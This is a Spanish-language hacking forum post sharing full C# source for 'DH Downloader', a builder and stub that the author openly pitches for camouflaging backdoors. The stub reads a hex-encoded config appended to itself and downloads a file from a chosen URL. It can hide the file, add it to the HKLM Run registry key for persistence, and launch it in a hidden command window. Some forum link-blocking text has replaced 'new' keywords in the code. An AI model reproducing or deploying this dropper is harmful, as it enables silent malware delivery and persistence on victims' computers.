[C#] DH Downloader 1.0

  • 0 Respuestas
  • 2171 Vistas

0 Usuarios y 1 Visitante están viendo este tema.

Desconectado BigBear

  • *
  • Underc0der
  • Mensajes: 543
  • Actividad:
    0%
  • Reputación 3
    • Ver Perfil

[C#] DH Downloader 1.0

  • en: Septiembre 19, 2014, 04:11:48 pm
Una traduccion de mi DH Downloader a C# con las siguiente opciones :

  • Se puede cambiar el nombre del archivo descargado[/li]
  • Se puede guardar en la carpeta que quieran[/li]
  • Se puede ocultar el archivo[/li]
  • Hace que el archivo se inicie cada vez que carga Windows[/li]
  • Se puede cargar oculto o normal[/li]
  • Tambien hice un generador en el que esta pensado para poner un link de descarga directa como dropbox para bajar un server en el cual tambien se le puede cambiar el icono.[/li]
  • En el generador se puede cambiar la extension del archivo bajado , ideal para camuflar backdoors en un servidor que no permite ejecutables.[/li][/list]

    Una imagen :



    Los codigos :

    El generador.

    Código: C#
    1. // DH Downloader 1.0
    2. // (C) Doddy Hackman 2014
    3. //
    4. // Credits :
    5. //
    6. // Based on : http://www.csharp-examples.net/download-files/
    7. //
    8. //
    9.  
    10. using System;
    11. using System.Collections.Generic;
    12. using System.ComponentModel;
    13. using System.Data;
    14. using System.Drawing;
    15. using System.Text;
    16. using System.Windows.Forms;
    17.  
    18. using System.Net;
    19. using System.IO;
    20. using Microsoft.Win32;
    21. using System.Diagnostics;
    22.  
    23. using System.Reflection;
    24.  
    25. namespace DH_Downloader
    26. {
    27.     public partial class Form1 : Form
    28.     {
    29.         public Form1()
    30.         {
    31.             InitializeComponent();
    32.         }
    33.  
    34.         string ruta_final_global = "";
    35.  
    36.         // Functions
    37.  
    38.         public string hexencode(string texto)
    39.         {
    40.             string resultado = "";
    41.  
    42.             byte[] enc = Encoding.Default.GetBytes(texto);
    43.             resultado = BitConverter.ToString(enc);
    44.             resultado = resultado.Replace("-", "");
    45.             return "0x" + resultado;
    46.         }
    47.  
    48.         public string hexdecode(string texto)
    49.         {
    50.  
    51.             // Based on : http://snipplr.com/view/36461/string-to-hex----hex-to-string-convert/
    52.             // Thanks to emregulcan
    53.  
    54.             string valor = texto.Replace("0x", "");
    55.             string retorno = "";
    56.  
    57.             while (valor.Length > 0)
    58.             {
    59.                 retorno = retorno + System.Convert.ToChar(System.Convert.ToUInt32(valor.Substring(0, 2), 16));
    60.                 valor = valor.Substring(2, valor.Length - 2);
    61.             }
    62.  
    63.             return retorno.ToString();
    64.  
    65.         }
    66.  
    67.         public void cmd_normal(string command)
    68.         {
    69.             try
    70.             {
    71.                 System.Diagnostics.Process.Start("cmd", "/c " + command);
    72.             }
    73.             catch
    74.             {
    75.                 //
    76.             }
    77.         }
    78.  
    79.         public void cmd_hide(string command)
    80.         {
    81.             try
    82.             {
    83.                 ProcessStartInfo cmd_now = You are not allowed to view links. Register or Login ProcessStartInfo("cmd", "/c " + command);
    84.                 cmd_now.RedirectStandardOutput = false;
    85.                 cmd_now.WindowStyle = ProcessWindowStyle.Hidden;
    86.                 cmd_now.UseShellExecute = true;
    87.                 Process.Start(cmd_now);
    88.             }
    89.             catch
    90.             {
    91.                 //
    92.             }
    93.         }
    94.  
    95.         public void extraer_recurso(string name, string save)
    96.         {
    97.  
    98.             // Based on : http://www.c-sharpcorner.com/uploadfile/40e97e/saving-an-embedded-file-in-C-Sharp/
    99.             // Thanks to Jean Paul
    100.  
    101.             try
    102.             {
    103.                 Stream bajando_recurso = Assembly.GetExecutingAssembly().GetManifestResourceStream(name);
    104.                 FileStream yacasi = You are not allowed to view links. Register or Login FileStream(save, FileMode.CreateNew);
    105.                 for (int count = 0; count < bajando_recurso.Length; count++)
    106.                 {
    107.                     byte down = Convert.ToByte(bajando_recurso.ReadByte());
    108.                     yacasi.WriteByte(down);
    109.                 }
    110.                 yacasi.Close();
    111.             }
    112.             catch
    113.             {
    114.                 MessageBox.Show("Error unpacking resource");
    115.             }
    116.  
    117.         }
    118.  
    119.         //
    120.  
    121.         private void mephobiaButton1_Click(object sender, EventArgs e)
    122.         {
    123.             Application.Exit();
    124.         }
    125.  
    126.  
    127.         private void mephobiaButton2_Click(object sender, EventArgs e)
    128.         {
    129.  
    130.             string url = mephobiaTextBox1.Text;
    131.             string directorio_final = "";
    132.             string nombre_final = "";
    133.             string ruta_final = "";
    134.  
    135.             string directorio_dondeestamos = Path.GetDirectoryName(System.Reflection.Assembly.GetEntryAssembly().Location);
    136.  
    137.             if (mephobiaCheckBox1.You are not allowed to view links. Register or Login)
    138.             {
    139.                 nombre_final = mephobiaTextBox2.Text;
    140.             }
    141.             else
    142.             {
    143.                 nombre_final = Path.GetFileName(url);
    144.             }
    145.  
    146.             if (mephobiaCheckBox2.You are not allowed to view links. Register or Login)
    147.             {
    148.                 directorio_final = mephobiaTextBox3.Text;
    149.             }
    150.             else
    151.             {
    152.                 directorio_final = directorio_dondeestamos;
    153.             }
    154.  
    155.             ruta_final = directorio_final + "/" + nombre_final;
    156.             ruta_final_global = ruta_final;
    157.            
    158.             //MessageBox.Show(directorio_final);
    159.             //MessageBox.Show(nombre_final);
    160.             //MessageBox.Show(ruta_final);
    161.  
    162.             Directory.SetCurrentDirectory(directorio_final);
    163.  
    164.             if (File.Exists(ruta_final))
    165.             {
    166.                 File.Delete(ruta_final);
    167.             }
    168.  
    169.             toolStripStatusLabel1.Text = "</li><li type="square"> Downloading ...";[/li][/list]
    170.             this.Refresh();
    171.  
    172.             try
    173.             {
    174.                 WebClient nave = You are not allowed to view links. Register or Login WebClient();
    175.                 nave.Headers["User-Agent"] = "Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:25.0) Gecko/20100101 Firefox/25.0";
    176.                 nave.DownloadFileCompleted += You are not allowed to view links. Register or Login AsyncCompletedEventHandler(finished);
    177.                 nave.DownloadProgressChanged += You are not allowed to view links. Register or Login DownloadProgressChangedEventHandler(ahi_vamos);
    178.                 nave.DownloadFileAsync(You are not allowed to view links. Register or Login Uri(url), nombre_final);
    179.             }
    180.  
    181.             catch
    182.             {
    183.                 //
    184.             }
    185.            
    186.  
    187.             if (mephobiaCheckBox3.You are not allowed to view links. Register or Login)
    188.             {
    189.                 if (File.Exists(ruta_final))
    190.                 {
    191.                     try
    192.                     {
    193.                         File.SetAttributes(ruta_final, FileAttributes.Hidden);
    194.                     }
    195.                     catch
    196.                     {
    197.                         //
    198.                     }
    199.                 }
    200.             }
    201.  
    202.             if (mephobiaCheckBox4.You are not allowed to view links. Register or Login)
    203.             {
    204.                 if (File.Exists(ruta_final))
    205.                 {
    206.                     try
    207.                     {
    208.                         RegistryKey loadnow = Registry.LocalMachine;
    209.                         loadnow = loadnow.OpenSubKey("Software\\Microsoft\\Windows\\CurrentVersion\\Run", true);
    210.                         loadnow.SetValue("uberkz", ruta_final, RegistryValueKind.String);
    211.                         loadnow.Close();
    212.                     }
    213.                     catch
    214.                     {
    215.                         //
    216.                     }
    217.                 }
    218.             }
    219.  
    220.             if (mephobiaCheckBox5.You are not allowed to view links. Register or Login)
    221.             {
    222.                 if (mephobiaRadiobutton1.You are not allowed to view links. Register or Login)
    223.                 {
    224.                     cmd_normal("\"" + ruta_final + "\"");
    225.                 }
    226.                 if (mephobiaRadiobutton2.You are not allowed to view links. Register or Login)
    227.                 {
    228.                     cmd_hide("\"" + ruta_final + "\"");
    229.                 }
    230.  
    231.             }
    232.  
    233.         }
    234.  
    235.         private void ahi_vamos(object sender, DownloadProgressChangedEventArgs e)
    236.         {
    237.             toolStripProgressBar1.Value = e.ProgressPercentage;
    238.         }
    239.  
    240.         private void finished(object sender, AsyncCompletedEventArgs e)
    241.         {
    242.  
    243.             long tam = You are not allowed to view links. Register or Login System.IO.FileInfo(ruta_final_global).Length;
    244.  
    245.             if (File.Exists(ruta_final_global) && tam!=0 )
    246.             {
    247.                 toolStripStatusLabel1.Text = "</li><li type="square"> Done";[/li][/list]
    248.                 this.Refresh();
    249.                 MessageBox.Show("Downloaded");
    250.             }
    251.             else
    252.             {
    253.                 toolStripStatusLabel1.Text = "[-] Error";
    254.                 this.Refresh();
    255.                 MessageBox.Show("Failed download");
    256.             }
    257.             toolStripProgressBar1.Value = 0;
    258.         }
    259.  
    260.         private void Form1_Load(object sender, EventArgs e)
    261.         {
    262.             toolStripProgressBar1.Value = 0;
    263.         }
    264.  
    265.         private void mephobiaButton3_Click(object sender, EventArgs e)
    266.         {
    267.  
    268.             string linea_generada = "";
    269.  
    270.             string url = mephobiaTextBox4.Text;
    271.             string opcion_change_name = "";
    272.             string text_change_name = mephobiaTextBox5.Text;
    273.             string opcion_carga_normal = "";
    274.             string opcion_carga_hide = "";
    275.             string ruta_donde_bajar = "";
    276.             string opcion_ocultar_archivo = "";
    277.             string opcion_startup = "";
    278.  
    279.             if (mephobiaCheckBox7.You are not allowed to view links. Register or Login)
    280.             {
    281.                 opcion_change_name = "1";
    282.             }
    283.             else
    284.             {
    285.                 opcion_change_name = "0";
    286.             }
    287.  
    288.             if (mephobiaRadiobutton3.You are not allowed to view links. Register or Login)
    289.             {
    290.                 opcion_carga_normal = "1";
    291.             }
    292.             else
    293.             {
    294.                 opcion_carga_normal = "0";
    295.             }
    296.  
    297.             if (mephobiaRadiobutton4.You are not allowed to view links. Register or Login)
    298.             {
    299.                 opcion_carga_hide = "1";
    300.             }
    301.             else
    302.             {
    303.                 opcion_carga_hide = "0";
    304.             }
    305.  
    306.             if (mephobiaComboBox1.SelectedItem != null)
    307.             {
    308.                 ruta_donde_bajar = mephobiaComboBox1.SelectedItem.ToString();
    309.             }
    310.             else
    311.             {
    312.                 ruta_donde_bajar = "Fuck You Bitch";
    313.             }
    314.  
    315.             if (mephobiaCheckBox6.You are not allowed to view links. Register or Login)
    316.             {
    317.                 opcion_ocultar_archivo = "1";
    318.             }
    319.             else
    320.             {
    321.                 opcion_ocultar_archivo = "0";
    322.             }
    323.  
    324.             if (mephobiaCheckBox8.You are not allowed to view links. Register or Login)
    325.             {
    326.                 opcion_startup = "1";
    327.             }
    328.             else
    329.             {
    330.                 opcion_startup = "0";
    331.             }
    332.  
    333.             extraer_recurso("DH_Downloader.Resources.stub.exe", "stub.exe");
    334.  
    335.             string check_stub = AppDomain.CurrentDomain.BaseDirectory + "/stub.exe";
    336.             string work_on_stub = AppDomain.CurrentDomain.BaseDirectory + "/done.exe";
    337.  
    338.             if (File.Exists(check_stub))
    339.             {
    340.  
    341.                 if (File.Exists(work_on_stub))
    342.                 {
    343.                     System.IO.File.Delete(work_on_stub);
    344.                 }
    345.  
    346.                 System.IO.File.Copy(check_stub, work_on_stub);
    347.  
    348.                 linea_generada = "-url-" + url + "-url-" + "-opcion_change_name-" + opcion_change_name + "-opcion_change_name-" +
    349.                 "-text_change_name-" + text_change_name + "-text_change_name-" + "-opcion_carga_normal-" +
    350.                 opcion_carga_normal + "-opcion_carga_normal-" + "-opcion_carga_hide-" + opcion_carga_hide +
    351.                 "-opcion_carga_hide-" + "-ruta_donde_bajar-" + ruta_donde_bajar + "-ruta_donde_bajar-" +
    352.                 "-opcion_ocultar_archivo-" + opcion_ocultar_archivo + "-opcion_ocultar_archivo-"+"-opcion_startup-"+
    353.                 opcion_startup+"-opcion_startup-";
    354.  
    355.                 string generado = hexencode(linea_generada);
    356.                 string linea_final = "-63686175-" + generado + "-63686175-";
    357.  
    358.                 FileStream abriendo = You are not allowed to view links. Register or Login FileStream(work_on_stub, FileMode.Append);
    359.                 BinaryWriter seteando = You are not allowed to view links. Register or Login BinaryWriter(abriendo);
    360.                 seteando.Write(linea_final);
    361.                 seteando.Flush();
    362.                 seteando.Close();
    363.                 abriendo.Close();
    364.  
    365.                 //MessageBox.Show(generado);
    366.                 //MessageBox.Show(hexdecode(generado));
    367.  
    368.                 try
    369.                 {
    370.                     System.IO.File.Delete(check_stub);
    371.                 }
    372.                 catch
    373.                 {
    374.                     //
    375.                 }
    376.  
    377.                 MessageBox.Show("Tiny downloader Generated");
    378.  
    379.             }
    380.             else
    381.             {
    382.                 MessageBox.Show("Stub not found");
    383.             }
    384.  
    385.         }
    386.     }
    387. }
    388.  
    389. // The End ?
    390.  

    El Stub.

    Código: C#
    1. // DH Downloader 1.0
    2. // (C) Doddy Hackman 2014
    3. // Thanks to : http://weblogs.asp.net/jhallal/hide-the-console-window-in-quot-c-console-application-quot
    4.  
    5. using System;
    6. using System.Collections.Generic;
    7. using System.Text;
    8. using System.Diagnostics;
    9. using System.Net;
    10. using System.IO;
    11. using Microsoft.Win32;
    12.  
    13. namespace stub
    14. {
    15.  
    16.     class Program
    17.     {
    18.  
    19.         // Functions
    20.  
    21.         static public void cmd_normal(string command)
    22.         {
    23.             try
    24.             {
    25.                 System.Diagnostics.Process.Start("cmd", "/c " + command);
    26.             }
    27.             catch
    28.             {
    29.                 //
    30.             }
    31.         }
    32.  
    33.         static public void cmd_hide(string command)
    34.         {
    35.             try
    36.             {
    37.                 ProcessStartInfo cmd_now = You are not allowed to view links. Register or Login ProcessStartInfo("cmd", "/c " + command);
    38.                 cmd_now.RedirectStandardOutput = false;
    39.                 cmd_now.WindowStyle = ProcessWindowStyle.Hidden;
    40.                 cmd_now.UseShellExecute = true;
    41.                 Process.Start(cmd_now);
    42.             }
    43.             catch
    44.             {
    45.                 //
    46.             }
    47.         }
    48.  
    49.         static public void add_startup(string path)
    50.         {
    51.             try
    52.             {
    53.                 RegistryKey loadnow = Registry.LocalMachine;
    54.                 loadnow = loadnow.OpenSubKey("Software\\Microsoft\\Windows\\CurrentVersion\\Run", true);
    55.                 loadnow.SetValue("uberkzz", path, RegistryValueKind.String);
    56.                 loadnow.Close();
    57.             }
    58.             catch
    59.             {
    60.                 //
    61.             }
    62.         }
    63.  
    64.         //
    65.  
    66.         static void Main(string[] args)
    67.         {
    68.  
    69.             load_config config = You are not allowed to view links. Register or Login load_config();
    70.             config.load_data();
    71.             string check_online = config.downloader_online;
    72.             if (check_online == "1")
    73.             {
    74.                 Console.WriteLine("</li><li type="square"> Downloader Online");[/li][/list]
    75.  
    76.                 string url = config.url;
    77.                 string opcion_change_name = config.opcion_change_name;
    78.                 string text_change_name = config.text_change_name;
    79.                 string opcion_carga_normal = config.opcion_carga_normal;
    80.                 string opcion_carga_hide = config.opcion_carga_hide;
    81.                 string ruta_donde_bajar = config.ruta_donde_bajar;
    82.                 string opcion_ocultar_archivo = config.opcion_ocultar_archivo;
    83.                 string opcion_startup = config.opcion_startup;
    84.  
    85.                 string nombre_final = "";
    86.                 string directorio_final = "";
    87.                 string ruta_final = "";
    88.  
    89.                 //string output = config.get_data();
    90.                 //Console.WriteLine(output);
    91.  
    92.                 if (opcion_change_name == "1")
    93.                 {
    94.                     nombre_final = text_change_name;
    95.                 }
    96.                 else
    97.                 {
    98.                     nombre_final = Path.GetFileName(url);
    99.                 }
    100.  
    101.                 if (ruta_donde_bajar != "")
    102.                 {
    103.                     directorio_final = Environment.GetEnvironmentVariable(ruta_donde_bajar);
    104.                 }
    105.                 else
    106.                 {
    107.                     directorio_final = Environment.GetEnvironmentVariable("USERPROFILE");
    108.                 }
    109.  
    110.                 ruta_final = directorio_final + "/" + nombre_final;
    111.  
    112.                 Console.WriteLine("</li><li type="square"> URL : "+url+"\n");[/li][/list]
    113.                 Console.WriteLine("</li><li type="square"> Filename : "+ruta_final+"\n");[/li][/list]
    114.  
    115.                 try
    116.                 {
    117.                     WebClient nave = You are not allowed to view links. Register or Login WebClient();
    118.                     nave.Headers["User-Agent"] = "Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:25.0) Gecko/20100101 Firefox/25.0";
    119.                     nave.DownloadFile(url, ruta_final);
    120.                 }
    121.                 catch
    122.                 {
    123.                     //
    124.                 }
    125.  
    126.                 if (opcion_ocultar_archivo == "1")
    127.                 {
    128.                     Console.WriteLine("</li><li type="square"> Hide : "+ruta_final+"\n");[/li][/list]
    129.                     try
    130.                     {
    131.                         File.SetAttributes(ruta_final, FileAttributes.Hidden);
    132.                     }
    133.                     catch
    134.                     {
    135.                         //
    136.                     }
    137.                 }
    138.  
    139.                 if (opcion_startup == "1")
    140.                 {
    141.                     Console.WriteLine("</li><li type="square"> Add Startup : "+ruta_final+"\n");[/li][/list]
    142.                     add_startup(ruta_final);
    143.                 }
    144.  
    145.                 if (opcion_carga_normal == "1")
    146.                 {
    147.                     Console.WriteLine("</li><li type="square"> Load normal : "+ruta_final+"\n");[/li][/list]
    148.                     cmd_normal(ruta_final);
    149.                 }
    150.  
    151.                 if (opcion_carga_hide == "1")
    152.                 {
    153.                     Console.WriteLine("</li><li type="square"> Load hide : "+ruta_final+"\n");[/li][/list]
    154.                     cmd_hide(ruta_final);
    155.                 }
    156.                
    157.                 //Console.ReadKey();
    158.  
    159.             }
    160.             else
    161.             {
    162.                 Console.WriteLine("[-] Downloader OffLine");
    163.                 //Console.ReadKey();
    164.             }
    165.            
    166.         }
    167.     }
    168. }
    169.  
    170. // The End ?
    171.  

    Clase load_config.cs del Stub.

    Código: C#
    1. // DH Downloader 1.0
    2. // (C) Doddy Hackman 2014
    3.  
    4. using System;
    5. using System.Collections.Generic;
    6. using System.Text;
    7.  
    8. using System.IO;
    9. using System.Text.RegularExpressions;
    10.  
    11. namespace stub
    12. {
    13.     class load_config
    14.     {
    15.         string downloader_online_config = "";
    16.         string url_config = "";
    17.         string opcion_change_name_config = "";
    18.         string text_change_name_config = "";
    19.         string opcion_carga_normal_config = "";
    20.         string opcion_carga_hide_config = "";
    21.         string ruta_donde_bajar_config = "";
    22.         string opcion_ocultar_archivo_config = "";
    23.         string opcion_startup_config = "";
    24.  
    25.         public string downloader_online
    26.         {
    27.             set { downloader_online_config = value; }
    28.             get { return downloader_online_config; }
    29.         }
    30.  
    31.         public string url
    32.         {
    33.             set { url_config = value; }
    34.             get { return url_config; }
    35.         }
    36.  
    37.         public string opcion_change_name
    38.         {
    39.             set { opcion_change_name_config = value; }
    40.             get { return opcion_change_name_config; }
    41.         }
    42.  
    43.         public string text_change_name
    44.         {
    45.             set { text_change_name_config = value; }
    46.             get { return text_change_name_config; }
    47.         }
    48.  
    49.         public string opcion_carga_normal
    50.         {
    51.             set { opcion_carga_normal_config = value; }
    52.             get { return opcion_carga_normal_config; }
    53.         }
    54.  
    55.         public string opcion_carga_hide
    56.         {
    57.             set { opcion_carga_hide_config = value; }
    58.             get { return opcion_carga_hide_config; }
    59.         }
    60.  
    61.         public string ruta_donde_bajar
    62.         {
    63.             set { ruta_donde_bajar_config = value; }
    64.             get { return ruta_donde_bajar_config; }
    65.         }
    66.  
    67.         public string opcion_ocultar_archivo
    68.         {
    69.             set { opcion_ocultar_archivo_config = value; }
    70.             get { return opcion_ocultar_archivo_config; }
    71.         }
    72.  
    73.         public string opcion_startup
    74.         {
    75.             set { opcion_startup_config = value; }
    76.             get { return opcion_startup_config; }
    77.         }
    78.  
    79.         public string hexencode(string texto)
    80.         {
    81.             string resultado = "";
    82.  
    83.             byte[] enc = Encoding.Default.GetBytes(texto);
    84.             resultado = BitConverter.ToString(enc);
    85.             resultado = resultado.Replace("-", "");
    86.             return "0x" + resultado;
    87.         }
    88.  
    89.         public string hexdecode(string texto)
    90.         {
    91.  
    92.             // Based on : http://snipplr.com/view/36461/string-to-hex----hex-to-string-convert/
    93.             // Thanks to emregulcan
    94.  
    95.             string valor = texto.Replace("0x", "");
    96.             string retorno = "";
    97.  
    98.             while (valor.Length > 0)
    99.             {
    100.                 retorno = retorno + System.Convert.ToChar(System.Convert.ToUInt32(valor.Substring(0, 2), 16));
    101.                 valor = valor.Substring(2, valor.Length - 2);
    102.             }
    103.  
    104.             return retorno.ToString();
    105.         }
    106.  
    107.         public load_config()
    108.         {
    109.             string downloader_online_config = "";
    110.             string url_config = "";
    111.             string opcion_change_name_config = "";
    112.             string text_change_name_config = "";
    113.             string opcion_carga_normal_config = "";
    114.             string opcion_carga_hide_config = "";
    115.             string ruta_donde_bajar_config = "";
    116.             string opcion_ocultar_archivo_config = "";
    117.             string opcion_startup_config = "";
    118.         }
    119.  
    120.         public void load_data()
    121.         {
    122.             StreamReader viendo = You are not allowed to view links. Register or Login StreamReader(System.Reflection.Assembly.GetEntryAssembly().Location);
    123.             string contenido = viendo.ReadToEnd();
    124.             Match regex = Regex.Match(contenido, "-63686175-(.*?)-63686175-", RegexOptions.IgnoreCase);
    125.  
    126.             if (regex.Success)
    127.             {
    128.                 string comandos = regex.Groups[1].Value;
    129.                 if (comandos != "" || comandos != " ")
    130.                 {
    131.                     downloader_online_config = "1";
    132.                     string leyendo = hexdecode(comandos);
    133.  
    134.                     regex = Regex.Match(leyendo, "-url-(.*)-url-", RegexOptions.IgnoreCase);
    135.                     if (regex.Success)
    136.                     {
    137.                         url_config = regex.Groups[1].Value;
    138.                     }
    139.  
    140.                     regex = Regex.Match(leyendo, "-opcion_change_name-(.*)-opcion_change_name-", RegexOptions.IgnoreCase);
    141.                     if (regex.Success)
    142.                     {
    143.                         opcion_change_name_config = regex.Groups[1].Value;
    144.                     }
    145.  
    146.                     regex = Regex.Match(leyendo, "-text_change_name-(.*)-text_change_name-", RegexOptions.IgnoreCase);
    147.                     if (regex.Success)
    148.                     {
    149.                         text_change_name_config = regex.Groups[1].Value;
    150.                     }
    151.  
    152.                     regex = Regex.Match(leyendo, "-opcion_carga_normal-(.*)-opcion_carga_normal-", RegexOptions.IgnoreCase);
    153.                     if (regex.Success)
    154.                     {
    155.                         opcion_carga_normal_config = regex.Groups[1].Value;
    156.                     }
    157.  
    158.                     regex = Regex.Match(leyendo, "-opcion_carga_hide-(.*)-opcion_carga_hide-", RegexOptions.IgnoreCase);
    159.                     if (regex.Success)
    160.                     {
    161.                         opcion_carga_hide_config = regex.Groups[1].Value;
    162.                     }
    163.  
    164.                     regex = Regex.Match(leyendo, "-ruta_donde_bajar-(.*)-ruta_donde_bajar-", RegexOptions.IgnoreCase);
    165.                     if (regex.Success)
    166.                     {
    167.                         ruta_donde_bajar_config = regex.Groups[1].Value;
    168.                     }
    169.  
    170.                     regex = Regex.Match(leyendo, "-opcion_ocultar_archivo-(.*)-opcion_ocultar_archivo-", RegexOptions.IgnoreCase);
    171.                     if (regex.Success)
    172.                     {
    173.                         opcion_ocultar_archivo_config = regex.Groups[1].Value;
    174.                     }
    175.  
    176.                     regex = Regex.Match(leyendo, "-opcion_startup-(.*)-opcion_startup-", RegexOptions.IgnoreCase);
    177.                     if (regex.Success)
    178.                     {
    179.                         opcion_startup_config = regex.Groups[1].Value;
    180.                     }
    181.  
    182.                 }
    183.                 else
    184.                 {
    185.                     downloader_online_config = "0";
    186.                 }
    187.             }
    188.  
    189.         }
    190.  
    191.         public string get_data()
    192.         {
    193.             string lista = "</li><li type="square"> Downloader Online : " + downloader_online_config + "\n" +[/li][/list]
    194.             "</li><li type="square"> URL : " + url_config +"\n" +[/li][/list]
    195.             "</li><li type="square"> Option Change Name : " + opcion_change_name_config + "\n" +[/li][/list]
    196.             "</li><li type="square"> Change Name to : " + text_change_name_config + "\n" +[/li][/list]
    197.             "</li><li type="square"> Option normal load : " + opcion_carga_normal_config + "\n" +[/li][/list]
    198.             "</li><li type="square"> Option hide load : " + opcion_carga_hide_config + "\n" +[/li][/list]
    199.             "</li><li type="square"> Path : " + ruta_donde_bajar_config + "\n" +[/li][/list]
    200.             "</li><li type="square"> Option hide file : " + opcion_ocultar_archivo_config + "\n" +[/li][/list]
    201.             "</li><li type="square"> Option startup : " + opcion_startup_config;[/li][/list]
    202.  
    203.             //
    204.  
    205.             return lista;
    206.         }
    207.    
    208.  
    209.     }
    210. }
    211.  
    212. // The End ?
    213.  

    Un video con ejemplo de uso



    Si lo quieren bajar lo pueden hacer de You are not allowed to view links. Register or Login.